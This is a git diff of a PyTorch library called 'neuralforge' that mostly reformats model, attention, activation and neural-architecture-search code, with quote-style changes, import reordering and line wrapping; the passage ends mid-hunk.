- nn.Linear(1280, num_classes)
+ nn.Linear(1280, num_classes),
)
-
+
def forward(self, x):
x = self.stem(x)
x = self.blocks(x)
x = self.head(x)
- return x
\ No newline at end of file
+ return x
diff --git a/ML/src/python/neuralforge/models/resnet.py b/ML/src/python/neuralforge/models/resnet.py
index 417077e0dd4..cf158c2bdbc 100644
--- a/ML/src/python/neuralforge/models/resnet.py
+++ b/ML/src/python/neuralforge/models/resnet.py
@@ -1,15 +1,20 @@
-import torch.nn as nn
from ..nn.convolution import ResNetBlock
+
def ResNet18(num_classes=1000, in_channels=3):
from ..nn.convolution import ResNet
+
return ResNet(ResNetBlock, [2, 2, 2, 2], num_classes, in_channels)
+
def ResNet34(num_classes=1000, in_channels=3):
from ..nn.convolution import ResNet
+
return ResNet(ResNetBlock, [3, 4, 6, 3], num_classes, in_channels)
+
def ResNet50(num_classes=1000, in_channels=3):
- from ..nn.layers import BottleneckBlock
from ..nn.convolution import ResNet
- return ResNet(BottleneckBlock, [3, 4, 6, 3], num_classes, in_channels)
\ No newline at end of file
+ from ..nn.layers import BottleneckBlock
+
+ return ResNet(BottleneckBlock, [3, 4, 6, 3], num_classes, in_channels)
diff --git a/ML/src/python/neuralforge/models/vit.py b/ML/src/python/neuralforge/models/vit.py
index 9ac34c075c8..f4e912408b6 100644
--- a/ML/src/python/neuralforge/models/vit.py
+++ b/ML/src/python/neuralforge/models/vit.py
@@ -1,6 +1,6 @@
-import torch.nn as nn
from ..nn.attention import VisionTransformerBlock
+
def VisionTransformer(
img_size=224,
patch_size=16,
@@ -10,7 +10,7 @@ def VisionTransformer(
depth=12,
num_heads=12,
mlp_ratio=4.0,
- dropout=0.1
+ dropout=0.1,
):
return VisionTransformerBlock(
img_size=img_size,
@@ -20,5 +20,5 @@ def VisionTransformer(
num_heads=num_heads,
num_layers=depth,
num_classes=num_classes,
- dropout=dropout
- )
\ No newline at end of file
+ dropout=dropout,
+ )
diff --git a/ML/src/python/neuralforge/nas/__init__.py b/ML/src/python/neuralforge/nas/__init__.py
index 46ae660539c..f11b93c2fff 100644
--- a/ML/src/python/neuralforge/nas/__init__.py
+++ b/ML/src/python/neuralforge/nas/__init__.py
@@ -1,10 +1,10 @@
-from .search_space import *
-from .evolution import *
from .evaluator import *
+from .evolution import *
+from .search_space import *
__all__ = [
- 'SearchSpace',
- 'EvolutionarySearch',
- 'ModelEvaluator',
- 'Architecture',
+ "SearchSpace",
+ "EvolutionarySearch",
+ "ModelEvaluator",
+ "Architecture",
]
diff --git a/ML/src/python/neuralforge/nas/evaluator.py b/ML/src/python/neuralforge/nas/evaluator.py
index 735d61cb0d8..d7b00280c86 100644
--- a/ML/src/python/neuralforge/nas/evaluator.py
+++ b/ML/src/python/neuralforge/nas/evaluator.py
@@ -1,142 +1,153 @@
+from typing import Tuple
+
import torch
import torch.nn as nn
-from torch.utils.data import DataLoader, Subset
-import time
-from typing import Tuple
-from .search_space import SearchSpace, Architecture
+from torch.utils.data import DataLoader
+
+from .search_space import Architecture, SearchSpace
+
class ModelEvaluator:
def __init__(
self,
train_loader: DataLoader,
val_loader: DataLoader,
- device: str = 'cuda',
+ device: str = "cuda",
epochs: int = 5,
- quick_eval: bool = True
+ quick_eval: bool = True,
):
self.train_loader = train_loader
self.val_loader = val_loader
self.device = device
self.epochs = epochs
self.quick_eval = quick_eval
-
- def evaluate(self, architecture: Architecture, search_space: SearchSpace) -> Tuple[float, float]:
+
+ def evaluate(
+ self, architecture: Architecture, search_space: SearchSpace
+ ) -> Tuple[float, float]:
try:
model = search_space.build_model(architecture)
model = model.to(self.device)
-
+
criterion = nn.CrossEntropyLoss()
optimizer = torch.optim.Adam(model.parameters(), lr=0.001)
-
+
if self.quick_eval:
accuracy = self._quick_evaluate(model, criterion, optimizer)
else:
accuracy = self._full_evaluate(model, criterion, optimizer)
-
+
complexity = search_space.estimate_complexity(architecture)
- params = complexity['params']
- flops = complexity['flops']
-
+ params = complexity["params"]
+ flops = complexity["flops"]
+
param_penalty = params / 1e7
flop_penalty = flops / 1e9
-
+
fitness = accuracy - 0.1 * param_penalty - 0.05 * flop_penalty
-
+
return fitness, accuracy
-
+
except Exception as e:
print(f"Error evaluating architecture: {e}")
return 0.0, 0.0
-
- def _quick_evaluate(self, model: nn.Module, criterion: nn.Module, optimizer: torch.optim.Optimizer) -> float:
+
+ def _quick_evaluate(
+ self, model: nn.Module, criterion: nn.Module, optimizer: torch.optim.Optimizer
+ ) -> float:
model.train()
-
+
num_batches = min(50, len(self.train_loader))
-
+
for epoch in range(self.epochs):
for batch_idx, (inputs, targets) in enumerate(self.train_loader):
if batch_idx >= num_batches:
break
-
+
inputs = inputs.to(self.device)
targets = targets.to(self.device)
-
+
optimizer.zero_grad()
outputs = model(inputs)
loss = criterion(outputs, targets)
loss.backward()
optimizer.step()
-
+
model.eval()
correct = 0
total = 0
-
+
num_val_batches = min(20, len(self.val_loader))
-
+
with torch.no_grad():
for batch_idx, (inputs, targets) in enumerate(self.val_loader):
if batch_idx >= num_val_batches:
break
-
+
inputs = inputs.to(self.device)
targets = targets.to(self.device)
-
+
outputs = model(inputs)
_, predicted = outputs.max(1)
total += targets.size(0)
correct += predicted.eq(targets).sum().item()
-
+
accuracy = 100.0 * correct / total if total > 0 else 0.0
return accuracy
-
- def _full_evaluate(self, model: nn.Module, criterion: nn.Module, optimizer: torch.optim.Optimizer) -> float:
+
+ def _full_evaluate(
+ self, model: nn.Module, criterion: nn.Module, optimizer: torch.optim.Optimizer
+ ) -> float:
for epoch in range(self.epochs):
model.train()
-
+
for inputs, targets in self.train_loader:
inputs = inputs.to(self.device)
targets = targets.to(self.device)
-
+
optimizer.zero_grad()
outputs = model(inputs)
loss = criterion(outputs, targets)
loss.backward()
optimizer.step()
-
+
model.eval()
correct = 0
total = 0
-
+
with torch.no_grad():
for inputs, targets in self.val_loader:
inputs = inputs.to(self.device)
targets = targets.to(self.device)
-
+
outputs = model(inputs)
_, predicted = outputs.max(1)
total += targets.size(0)
correct += predicted.eq(targets).sum().item()
-
+
accuracy = 100.0 * correct / total if total > 0 else 0.0
return accuracy
+
class ProxyEvaluator:
- def __init__(self, device: str = 'cuda'):
+ def __init__(self, device: str = "cuda"):
self.device = device
-
- def evaluate(self, architecture: Architecture, search_space: SearchSpace) -> Tuple[float, float]:
+
+ def evaluate(
+ self, architecture: Architecture, search_space: SearchSpace
+ ) -> Tuple[float, float]:
model = search_space.build_model(architecture)
model = model.to(self.device)
-
+
complexity = search_space.estimate_complexity(architecture)
- params = complexity['params']
- flops = complexity['flops']
-
- num_layers = len([g for g in architecture.genome if g.get('type') != 'pooling'])
-
+ params = complexity["params"]
+ flops = complexity["flops"]
+
+ num_layers = len([g for g in architecture.genome if g.get("type") != "pooling"])
+
estimated_accuracy = 60.0 + torch.rand(1).item() * 20.0
estimated_accuracy = min(95.0, estimated_accuracy - params / 1e8)
-
+
fitness = estimated_accuracy - 0.1 * (params / 1e7) - 0.05 * (flops / 1e9)
-
- return fitness, estimated_accuracy
\ No newline at end of file
+
+ return fitness, estimated_accuracy
diff --git a/ML/src/python/neuralforge/nas/evolution.py b/ML/src/python/neuralforge/nas/evolution.py
index b46ff03703b..0c9cdf42ace 100644
--- a/ML/src/python/neuralforge/nas/evolution.py
+++ b/ML/src/python/neuralforge/nas/evolution.py
@@ -1,10 +1,12 @@
-import torch
import random
+from typing import List
+
import numpy as np
-from typing import List, Dict, Any
from tqdm import tqdm
-from .search_space import SearchSpace, Architecture
+
from .evaluator import ModelEvaluator
+from .search_space import Architecture, SearchSpace
+
class EvolutionarySearch:
def __init__(
@@ -15,7 +17,7 @@ def __init__(
generations: int = 50,
mutation_rate: float = 0.1,
crossover_rate: float = 0.5,
- tournament_size: int = 3
+ tournament_size: int = 3,
):
self.search_space = search_space
self.evaluator = evaluator
@@ -24,106 +26,111 @@ def __init__(
self.mutation_rate = mutation_rate
self.crossover_rate = crossover_rate
self.tournament_size = tournament_size
-
+
self.population = []
self.best_architecture = None
self.history = []
-
+
def initialize_population(self):
print(f"Initializing population of {self.population_size} architectures...")
self.population = []
-
+
for i in range(self.population_size):
arch = self.search_space.random_architecture()
self.population.append(arch)
-
+
print("Population initialized successfully")
-
+
def evaluate_population(self):
print("Evaluating population...")
-
+
for arch in tqdm(self.population, desc="Evaluating architectures"):
if arch.fitness == 0.0:
fitness, accuracy = self.evaluator.evaluate(arch, self.search_space)
arch.fitness = fitness
arch.accuracy = accuracy
-
+
complexity = self.search_space.estimate_complexity(arch)
- arch.params = complexity['params']
- arch.flops = complexity['flops']
-
+ arch.params = complexity["params"]
+ arch.flops = complexity["flops"]
+
def tournament_selection(self) -> Architecture:
tournament = random.sample(self.population, self.tournament_size)
return max(tournament, key=lambda x: x.fitness)
-
+
def select_parents(self) -> List[Architecture]:
parent1 = self.tournament_selection()
parent2 = self.tournament_selection()
return [parent1, parent2]
-
+
def create_offspring(self, parents: List[Architecture]) -> Architecture:
if random.random() < self.crossover_rate:
offspring = self.search_space.crossover(parents[0], parents[1])
else:
offspring = Architecture(parents[0].genome.copy())
-
+
if random.random() < self.mutation_rate:
offspring = self.search_space.mutate(offspring, self.mutation_rate)
-
+
return offspring
-
+
def evolve_generation(self):
self.population.sort(key=lambda x: x.fitness, reverse=True)
-
+
elite_size = max(1, self.population_size // 10)
new_population = self.population[:elite_size]
-
+
while len(new_population) < self.population_size:
parents = self.select_parents()
offspring = self.create_offspring(parents)
new_population.append(offspring)
-
+
self.population = new_population
-
+
def search(self) -> Architecture:
print(f"Starting evolutionary search for {self.generations} generations...")
-
+
self.initialize_population()
self.evaluate_population()
-
+
for generation in range(self.generations):
print(f"\n=== Generation {generation + 1}/{self.generations} ===")
-
+
self.population.sort(key=lambda x: x.fitness, reverse=True)
best_arch = self.population[0]
-
- if self.best_architecture is None or best_arch.fitness > self.best_architecture.fitness:
+
+ if (
+ self.best_architecture is None
+ or best_arch.fitness > self.best_architecture.fitness
+ ):
self.best_architecture = best_arch
-
+
avg_fitness = np.mean([arch.fitness for arch in self.population])
avg_accuracy = np.mean([arch.accuracy for arch in self.population])
-
+
print(f"Best fitness: {best_arch.fitness:.4f}")
print(f"Best accuracy: {best_arch.accuracy:.2f}%")
print(f"Avg fitness: {avg_fitness:.4f}")
print(f"Avg accuracy: {avg_accuracy:.2f}%")
print(f"Best params: {best_arch.params:,}")
-
- self.history.append({
- 'generation': generation + 1,
- 'best_fitness': best_arch.fitness,
- 'best_accuracy': best_arch.accuracy,
- 'avg_fitness': avg_fitness,
- 'avg_accuracy': avg_accuracy,
- })
-
+
+ self.history.append(
+ {
+ "generation": generation + 1,
+ "best_fitness": best_arch.fitness,
+ "best_accuracy": best_arch.accuracy,
+ "avg_fitness": avg_fitness,
+ "avg_accuracy": avg_accuracy,
+ }
+ )
+
if generation < self.generations - 1:
self.evolve_generation()
self.evaluate_population()
-
+
print(f"\nSearch completed! Best architecture: {self.best_architecture}")
return self.best_architecture
-
+
def get_top_k_architectures(self, k: int = 5) -> List[Architecture]:
self.population.sort(key=lambda x: x.fitness, reverse=True)
- return self.population[:k]
\ No newline at end of file
+ return self.population[:k]
diff --git a/ML/src/python/neuralforge/nas/search_space.py b/ML/src/python/neuralforge/nas/search_space.py
index 1a6fac8136e..9e099dbf085 100644
--- a/ML/src/python/neuralforge/nas/search_space.py
+++ b/ML/src/python/neuralforge/nas/search_space.py
@@ -1,8 +1,8 @@
-import torch
-import torch.nn as nn
-from typing import List, Dict, Any, Optional
import random
-import numpy as np
+from typing import Any, Dict, List
+
+import torch.nn as nn
+
class Architecture:
def __init__(self, genome: List[int]):
@@ -11,73 +11,100 @@ def __init__(self, genome: List[int]):
self.accuracy = 0.0
self.params = 0
self.flops = 0
-
+
def __repr__(self):
return f"Architecture(fitness={self.fitness:.4f}, acc={self.accuracy:.2f}%, params={self.params})"
+
class SearchSpace:
def __init__(self, config: Dict[str, Any]):
self.config = config
-
- self.layer_types = ['conv3x3', 'conv5x5', 'conv7x7', 'depthwise', 'bottleneck', 'identity']
- self.activation_types = ['relu', 'gelu', 'silu', 'mish']
- self.pooling_types = ['max', 'avg', 'none']
+
+ self.layer_types = [
+ "conv3x3",
+ "conv5x5",
+ "conv7x7",
+ "depthwise",
+ "bottleneck",
+ "identity",
+ ]
+ self.activation_types = ["relu", "gelu", "silu", "mish"]
+ self.pooling_types = ["max", "avg", "none"]
self.channels = [32, 64, 128, 256, 512]
-
- self.num_layers = config.get('num_layers', 20)
- self.num_blocks = config.get('num_blocks', 5)
-
+
+ self.num_layers = config.get("num_layers", 20)
+ self.num_blocks = config.get("num_blocks", 5)
+
def random_architecture(self) -> Architecture:
genome = []
-
+
for block_idx in range(self.num_blocks):
num_layers_in_block = random.randint(2, 5)
-
+
for layer_idx in range(num_layers_in_block):
layer_gene = {
- 'type': random.choice(self.layer_types),
- 'channels': random.choice(self.channels),
- 'activation': random.choice(self.activation_types),
- 'use_bn': random.choice([True, False]),
- 'dropout': random.uniform(0.0, 0.3),
+ "type": random.choice(self.layer_types),
+ "channels": random.choice(self.channels),
+ "activation": random.choice(self.activation_types),
+ "use_bn": random.choice([True, False]),
+ "dropout": random.uniform(0.0, 0.3),
}
genome.append(layer_gene)
-
+
pooling_gene = {
- 'type': 'pooling',
- 'pooling_type': random.choice(self.pooling_types),
+ "type": "pooling",
+ "pooling_type": random.choice(self.pooling_types),
}
genome.append(pooling_gene)
-
+
return Architecture(genome)
-
- def build_model(self, architecture: Architecture, input_channels: int = 3, num_classes: int = 1000) -> nn.Module:
+
+ def build_model(
+ self,
+ architecture: Architecture,
+ input_channels: int = 3,
+ num_classes: int = 1000,
+ ) -> nn.Module:
layers = []
current_channels = input_channels
-
+
for gene in architecture.genome:
- if gene.get('type') == 'pooling':
- if gene['pooling_type'] == 'max':
+ if gene.get("type") == "pooling":
+ if gene["pooling_type"] == "max":
layers.append(nn.MaxPool2d(2))
- elif gene['pooling_type'] == 'avg':
+ elif gene["pooling_type"] == "avg":
layers.append(nn.AvgPool2d(2))
else:
- layer_type = gene['type']
- out_channels = gene['channels']
- activation = gene['activation']
- use_bn = gene['use_bn']
- dropout = gene['dropout']
-
- if layer_type == 'conv3x3':
- layers.append(nn.Conv2d(current_channels, out_channels, 3, padding=1))
- elif layer_type == 'conv5x5':
- layers.append(nn.Conv2d(current_channels, out_channels, 5, padding=2))
- elif layer_type == 'conv7x7':
- layers.append(nn.Conv2d(current_channels, out_channels, 7, padding=3))
- elif layer_type == 'depthwise':
- layers.append(nn.Conv2d(current_channels, current_channels, 3, padding=1, groups=current_channels))
+ layer_type = gene["type"]
+ out_channels = gene["channels"]
+ activation = gene["activation"]
+ use_bn = gene["use_bn"]
+ dropout = gene["dropout"]
+
+ if layer_type == "conv3x3":
+ layers.append(
+ nn.Conv2d(current_channels, out_channels, 3, padding=1)
+ )
+ elif layer_type == "conv5x5":
+ layers.append(
+ nn.Conv2d(current_channels, out_channels, 5, padding=2)
+ )
+ elif layer_type == "conv7x7":
+ layers.append(
+ nn.Conv2d(current_channels, out_channels, 7, padding=3)
+ )
+ elif layer_type == "depthwise":
+ layers.append(
+ nn.Conv2d(
+ current_channels,
+ current_channels,
+ 3,
+ padding=1,
+ groups=current_channels,
+ )
+ )
layers.append(nn.Conv2d(current_channels, out_channels, 1))
- elif layer_type == 'bottleneck':
+ elif layer_type == "bottleneck":
mid_channels = out_channels // 4
layers.append(nn.Conv2d(current_channels, mid_channels, 1))
if use_bn:
@@ -88,94 +115,115 @@ def build_model(self, architecture: Architecture, input_channels: int = 3, num_c
layers.append(nn.BatchNorm2d(mid_channels))
layers.append(self._get_activation(activation))
layers.append(nn.Conv2d(mid_channels, out_channels, 1))
- elif layer_type == 'identity':
+ elif layer_type == "identity":
if current_channels != out_channels:
layers.append(nn.Conv2d(current_channels, out_channels, 1))
else:
layers.append(nn.Identity())
-
- if use_bn and layer_type != 'bottleneck':
+
+ if use_bn and layer_type != "bottleneck":
layers.append(nn.BatchNorm2d(out_channels))
-
- if layer_type != 'bottleneck':
+
+ if layer_type != "bottleneck":
layers.append(self._get_activation(activation))
-
+
if dropout > 0:
layers.append(nn.Dropout2d(dropout))
-
+
current_channels = out_channels
-
+
layers.append(nn.AdaptiveAvgPool2d(1))
layers.append(nn.Flatten())
layers.append(nn.Linear(current_channels, num_classes))
-
+
model = nn.Sequential(*layers)
return model
-
+
def _get_activation(self, activation: str) -> nn.Module:
- if activation == 'relu':
+ if activation == "relu":
return nn.ReLU(inplace=True)
- elif activation == 'gelu':
+ elif activation == "gelu":
return nn.GELU()
- elif activation == 'silu':
+ elif activation == "silu":
return nn.SiLU(inplace=True)
- elif activation == 'mish':
+ elif activation == "mish":
return nn.Mish(inplace=True)
else:
return nn.ReLU(inplace=True)
-
- def mutate(self, architecture: Architecture, mutation_rate: float = 0.1) -> Architecture:
+
+ def mutate(
+ self, architecture: Architecture, mutation_rate: float = 0.1
+ ) -> Architecture:
new_genome = []
-
+
for gene in architecture.genome:
if random.random() < mutation_rate:
- if gene.get('type') == 'pooling':
+ if gene.get("type") == "pooling":
gene = gene.copy()
- gene['pooling_type'] = random.choice(self.pooling_types)
+ gene["pooling_type"] = random.choice(self.pooling_types)
else:
gene = gene.copy()
- gene['type'] = random.choice(self.layer_types)
- gene['channels'] = random.choice(self.channels)
- gene['activation'] = random.choice(self.activation_types)
-
+ gene["type"] = random.choice(self.layer_types)
+ gene["channels"] = random.choice(self.channels)
+ gene["activation"] = random.choice(self.activation_types)
+
new_genome.append(gene)
-
+
return Architecture(new_genome)
-
+
def crossover(self, parent1: Architecture, parent2: Architecture) -> Architecture:
min_len = min(len(parent1.genome), len(parent2.genome))
crossover_point = random.randint(1, min_len - 1)
-
- child_genome = parent1.genome[:crossover_point] + parent2.genome[crossover_point:]
-
+
+ child_genome = (
+ parent1.genome[:crossover_point] + parent2.genome[crossover_point:]
+ )
+
return Architecture(child_genome)
-
- def estimate_complexity(self, architecture: Architecture, input_size: int = 224) -> Dict[str, float]:
+
+ def estimate_complexity(
+ self, architecture: Architecture, input_size: int = 224
+ ) -> Dict[str, float]:
total_params = 0
total_flops = 0
current_channels = 3
current_size = input_size
-
+
for gene in architecture.genome:
- if gene.get('type') == 'pooling':
+ if gene.get("type") == "pooling":
current_size = current_size // 2
else:
- out_channels = gene['channels']
-
- if gene['type'] in ['conv3x3', 'conv5x5', 'conv7x7']:
- kernel_size = int(gene['type'][-3])
+ out_channels = gene["channels"]
+
+ if gene["type"] in ["conv3x3", "conv5x5", "conv7x7"]:
+ kernel_size = int(gene["type"][-3])
params = current_channels * out_channels * kernel_size * kernel_size
flops = params * current_size * current_size
- elif gene['type'] == 'depthwise':
+ elif gene["type"] == "depthwise":
params = current_channels * 9 + current_channels * out_channels
- flops = current_channels * 9 * current_size * current_size + current_channels * out_channels * current_size * current_size
- elif gene['type'] == 'bottleneck':
+ flops = (
+ current_channels * 9 * current_size * current_size
+ + current_channels * out_channels * current_size * current_size
+ )
+ elif gene["type"] == "bottleneck":
mid_channels = out_channels // 4
- params = current_channels * mid_channels + mid_channels * 9 + mid_channels * out_channels
- flops = (current_channels * mid_channels + mid_channels * 9 + mid_channels * out_channels) * current_size * current_size
-
+ params = (
+ current_channels * mid_channels
+ + mid_channels * 9
+ + mid_channels * out_channels
+ )
+ flops = (
+ (
+ current_channels * mid_channels
+ + mid_channels * 9
+ + mid_channels * out_channels
+ )
+ * current_size
+ * current_size
+ )
+
total_params += params
total_flops += flops
current_channels = out_channels
-
- return {'params': total_params, 'flops': total_flops}
\ No newline at end of file
+
+ return {"params": total_params, "flops": total_flops}
diff --git a/ML/src/python/neuralforge/nn/__init__.py b/ML/src/python/neuralforge/nn/__init__.py
index c7bc6859afc..dbf9faffb95 100644
--- a/ML/src/python/neuralforge/nn/__init__.py
+++ b/ML/src/python/neuralforge/nn/__init__.py
@@ -1,18 +1,18 @@
-from .modules import *
-from .layers import *
+from .activations import *
from .attention import *
from .convolution import *
-from .activations import *
+from .layers import *
+from .modules import *
__all__ = [
- 'TransformerBlock',
- 'MultiHeadAttention',
- 'FeedForward',
- 'ResNetBlock',
- 'DenseBlock',
- 'ConvBlock',
- 'SEBlock',
- 'GELU',
- 'Swish',
- 'Mish',
+ "TransformerBlock",
+ "MultiHeadAttention",
+ "FeedForward",
+ "ResNetBlock",
+ "DenseBlock",
+ "ConvBlock",
+ "SEBlock",
+ "GELU",
+ "Swish",
+ "Mish",
]
diff --git a/ML/src/python/neuralforge/nn/activations.py b/ML/src/python/neuralforge/nn/activations.py
index 0a36438da5c..6869bda6a19 100644
--- a/ML/src/python/neuralforge/nn/activations.py
+++ b/ML/src/python/neuralforge/nn/activations.py
@@ -2,121 +2,142 @@
import torch.nn as nn
import torch.nn.functional as F
+
class GELU(nn.Module):
def __init__(self):
super().__init__()
-
+
def forward(self, x):
- return 0.5 * x * (1.0 + torch.tanh(0.7978845608 * (x + 0.044715 * torch.pow(x, 3))))
+ return (
+ 0.5
+ * x
+ * (1.0 + torch.tanh(0.7978845608 * (x + 0.044715 * torch.pow(x, 3))))
+ )
+
class Swish(nn.Module):
def __init__(self):
super().__init__()
-
+
def forward(self, x):
return x * torch.sigmoid(x)
+
class Mish(nn.Module):
def __init__(self):
super().__init__()
-
+
def forward(self, x):
return x * torch.tanh(F.softplus(x))
+
class HardSwish(nn.Module):
def __init__(self):
super().__init__()
-
+
def forward(self, x):
return x * F.hardtanh(x + 3, 0.0, 6.0) / 6.0
+
class HardSigmoid(nn.Module):
def __init__(self):
super().__init__()
-
+
def forward(self, x):
return F.relu6(x + 3.0) / 6.0
+
class FReLU(nn.Module):
def __init__(self, channels, kernel_size=3):
super().__init__()
- self.conv = nn.Conv2d(channels, channels, kernel_size, padding=kernel_size // 2, groups=channels)
+ self.conv = nn.Conv2d(
+ channels, channels, kernel_size, padding=kernel_size // 2, groups=channels
+ )
self.bn = nn.BatchNorm2d(channels)
-
+
def forward(self, x):
tx = self.bn(self.conv(x))
return torch.max(x, tx)
+
class GLU(nn.Module):
def __init__(self, dim=-1):
super().__init__()
self.dim = dim
-
+
def forward(self, x):
a, b = x.chunk(2, dim=self.dim)
return a * torch.sigmoid(b)
+
class ReGLU(nn.Module):
def __init__(self):
super().__init__()
-
+
def forward(self, x):
a, b = x.chunk(2, dim=-1)
return a * F.relu(b)
+
class GEGLU(nn.Module):
def __init__(self):
super().__init__()
self.gelu = GELU()
-
+
def forward(self, x):
a, b = x.chunk(2, dim=-1)
return a * self.gelu(b)
+
class SiLU(nn.Module):
def __init__(self):
super().__init__()
-
+
def forward(self, x):
return x * torch.sigmoid(x)
+
class ELU(nn.Module):
def __init__(self, alpha=1.0):
super().__init__()
self.alpha = alpha
-
+
def forward(self, x):
return torch.where(x > 0, x, self.alpha * (torch.exp(x) - 1))
+
class SELU(nn.Module):
def __init__(self):
super().__init__()
self.alpha = 1.6732632423543772848170429916717
self.scale = 1.0507009873554804934193349852946
-
+
def forward(self, x):
return self.scale * torch.where(x > 0, x, self.alpha * (torch.exp(x) - 1))
+
class PReLU(nn.Module):
def __init__(self, num_parameters=1, init=0.25):
super().__init__()
self.weight = nn.Parameter(torch.ones(num_parameters) * init)
-
+
def forward(self, x):
return torch.where(x > 0, x, self.weight * x)
+
class LeakyReLU(nn.Module):
def __init__(self, negative_slope=0.01):
super().__init__()
self.negative_slope = negative_slope
-
+
def forward(self, x):
return F.leaky_relu(x, self.negative_slope)
+
class Softplus(nn.Module):
def __init__(self, beta=1):
super().__init__()
self.beta = beta
-
+
def forward(self, x):
return F.softplus(x, self.beta)
diff --git a/ML/src/python/neuralforge/nn/attention.py b/ML/src/python/neuralforge/nn/attention.py
index 47fb9cd8db6..19c2d2d4070 100644
--- a/ML/src/python/neuralforge/nn/attention.py
+++ b/ML/src/python/neuralforge/nn/attention.py
@@ -1,94 +1,111 @@
import torch
import torch.nn as nn
import torch.nn.functional as F
-import math
-from typing import Optional
+
class MultiHeadAttention(nn.Module):
def __init__(self, embed_dim, num_heads, dropout=0.1, bias=True):
super().__init__()
assert embed_dim % num_heads == 0
-
+
self.embed_dim = embed_dim
self.num_heads = num_heads
self.head_dim = embed_dim // num_heads
- self.scale = self.head_dim ** -0.5
-
+ self.scale = self.head_dim**-0.5
+
self.qkv = nn.Linear(embed_dim, embed_dim * 3, bias=bias)
self.proj = nn.Linear(embed_dim, embed_dim, bias=bias)
self.dropout = nn.Dropout(dropout)
-
+
def forward(self, x, mask=None):
B, N, C = x.shape
-
- qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, self.head_dim).permute(2, 0, 3, 1, 4)
+
+ qkv = (
+ self.qkv(x)
+ .reshape(B, N, 3, self.num_heads, self.head_dim)
+ .permute(2, 0, 3, 1, 4)
+ )
q, k, v = qkv[0], qkv[1], qkv[2]
-
+
attn = (q @ k.transpose(-2, -1)) * self.scale
-
+
if mask is not None:
- attn = attn.masked_fill(mask == 0, float('-inf'))
-
+ attn = attn.masked_fill(mask == 0, float("-inf"))
+
attn = F.softmax(attn, dim=-1)
attn = self.dropout(attn)
-
+
x = (attn @ v).transpose(1, 2).reshape(B, N, C)
x = self.proj(x)
x = self.dropout(x)
-
+
return x
+
class CrossAttention(nn.Module):
def __init__(self, embed_dim, num_heads, dropout=0.1):
super().__init__()
self.embed_dim = embed_dim
self.num_heads = num_heads
self.head_dim = embed_dim // num_heads
- self.scale = self.head_dim ** -0.5
-
+ self.scale = self.head_dim**-0.5
+
self.q_proj = nn.Linear(embed_dim, embed_dim)
self.k_proj = nn.Linear(embed_dim, embed_dim)
self.v_proj = nn.Linear(embed_dim, embed_dim)
self.out_proj = nn.Linear(embed_dim, embed_dim)
self.dropout = nn.Dropout(dropout)
-
+
def forward(self, query, key, value, mask=None):
B, N_q, C = query.shape
N_k = key.shape[1]
-
- q = self.q_proj(query).reshape(B, N_q, self.num_heads, self.head_dim).permute(0, 2, 1, 3)
- k = self.k_proj(key).reshape(B, N_k, self.num_heads, self.head_dim).permute(0, 2, 1, 3)
- v = self.v_proj(value).reshape(B, N_k, self.num_heads, self.head_dim).permute(0, 2, 1, 3)
-
+
+ q = (
+ self.q_proj(query)
+ .reshape(B, N_q, self.num_heads, self.head_dim)
+ .permute(0, 2, 1, 3)
+ )
+ k = (
+ self.k_proj(key)
+ .reshape(B, N_k, self.num_heads, self.head_dim)
+ .permute(0, 2, 1, 3)
+ )
+ v = (
+ self.v_proj(value)
+ .reshape(B, N_k, self.num_heads, self.head_dim)
+ .permute(0, 2, 1, 3)
+ )
+
attn = (q @ k.transpose(-2, -1)) * self.scale
-
+
if mask is not None:
- attn = attn.masked_fill(mask == 0, float('-inf'))
-
+ attn = attn.masked_fill(mask == 0, float("-inf"))
+
attn = F.softmax(attn, dim=-1)
attn = self.dropout(attn)
-
+
x = (attn @ v).transpose(1, 2).reshape(B, N_q, C)
x = self.out_proj(x)
-
+
return x
+
class FeedForward(nn.Module):
- def __init__(self, embed_dim, hidden_dim, dropout=0.1, activation='gelu'):
+ def __init__(self, embed_dim, hidden_dim, dropout=0.1, activation="gelu"):
super().__init__()
self.fc1 = nn.Linear(embed_dim, hidden_dim)
self.fc2 = nn.Linear(hidden_dim, embed_dim)
self.dropout = nn.Dropout(dropout)
-
- if activation == 'gelu':
+
+ if activation == "gelu":
self.activation = nn.GELU()
- elif activation == 'relu':
+ elif activation == "relu":
self.activation = nn.ReLU()
- elif activation == 'silu':
+ elif activation == "silu":
self.activation = nn.SiLU()
else:
self.activation = nn.GELU()
-
+
def forward(self, x):
x = self.fc1(x)
x = self.activation(x)
@@ -97,6 +114,7 @@ def forward(self, x):
x = self.dropout(x)
return x
+
class TransformerBlock(nn.Module):
def __init__(self, embed_dim, num_heads, mlp_ratio=4.0, dropout=0.1, drop_path=0.0):
super().__init__()
@@ -104,62 +122,81 @@ def __init__(self, embed_dim, num_heads, mlp_ratio=4.0, dropout=0.1, drop_path=0
self.attn = MultiHeadAttention(embed_dim, num_heads, dropout)
self.norm2 = nn.LayerNorm(embed_dim)
self.mlp = FeedForward(embed_dim, int(embed_dim * mlp_ratio), dropout)
-
+
from .modules import DropPath
+
self.drop_path = DropPath(drop_path) if drop_path > 0.0 else nn.Identity()
-
+
def forward(self, x, mask=None):
x = x + self.drop_path(self.attn(self.norm1(x), mask))
x = x + self.drop_path(self.mlp(self.norm2(x)))
return x
+
class TransformerEncoder(nn.Module):
def __init__(self, embed_dim, num_heads, num_layers, mlp_ratio=4.0, dropout=0.1):
super().__init__()
- self.layers = nn.ModuleList([
- TransformerBlock(embed_dim, num_heads, mlp_ratio, dropout)
- for _ in range(num_layers)
- ])
+ self.layers = nn.ModuleList(
+ [
+ TransformerBlock(embed_dim, num_heads, mlp_ratio, dropout)
+ for _ in range(num_layers)
+ ]
+ )
self.norm = nn.LayerNorm(embed_dim)
-
+
def forward(self, x, mask=None):
for layer in self.layers:
x = layer(x, mask)
return self.norm(x)
+
class VisionTransformerBlock(nn.Module):
- def __init__(self, img_size=224, patch_size=16, in_channels=3, embed_dim=768,
- num_heads=12, num_layers=12, num_classes=1000, dropout=0.1):
+ def __init__(
+ self,
+ img_size=224,
+ patch_size=16,
+ in_channels=3,
+ embed_dim=768,
+ num_heads=12,
+ num_layers=12,
+ num_classes=1000,
+ dropout=0.1,
+ ):
super().__init__()
self.patch_size = patch_size
self.num_patches = (img_size // patch_size) ** 2
-
- self.patch_embed = nn.Conv2d(in_channels, embed_dim, kernel_size=patch_size, stride=patch_size)
+
+ self.patch_embed = nn.Conv2d(
+ in_channels, embed_dim, kernel_size=patch_size, stride=patch_size
+ )
self.cls_token = nn.Parameter(torch.zeros(1, 1, embed_dim))
self.pos_embed = nn.Parameter(torch.zeros(1, self.num_patches + 1, embed_dim))
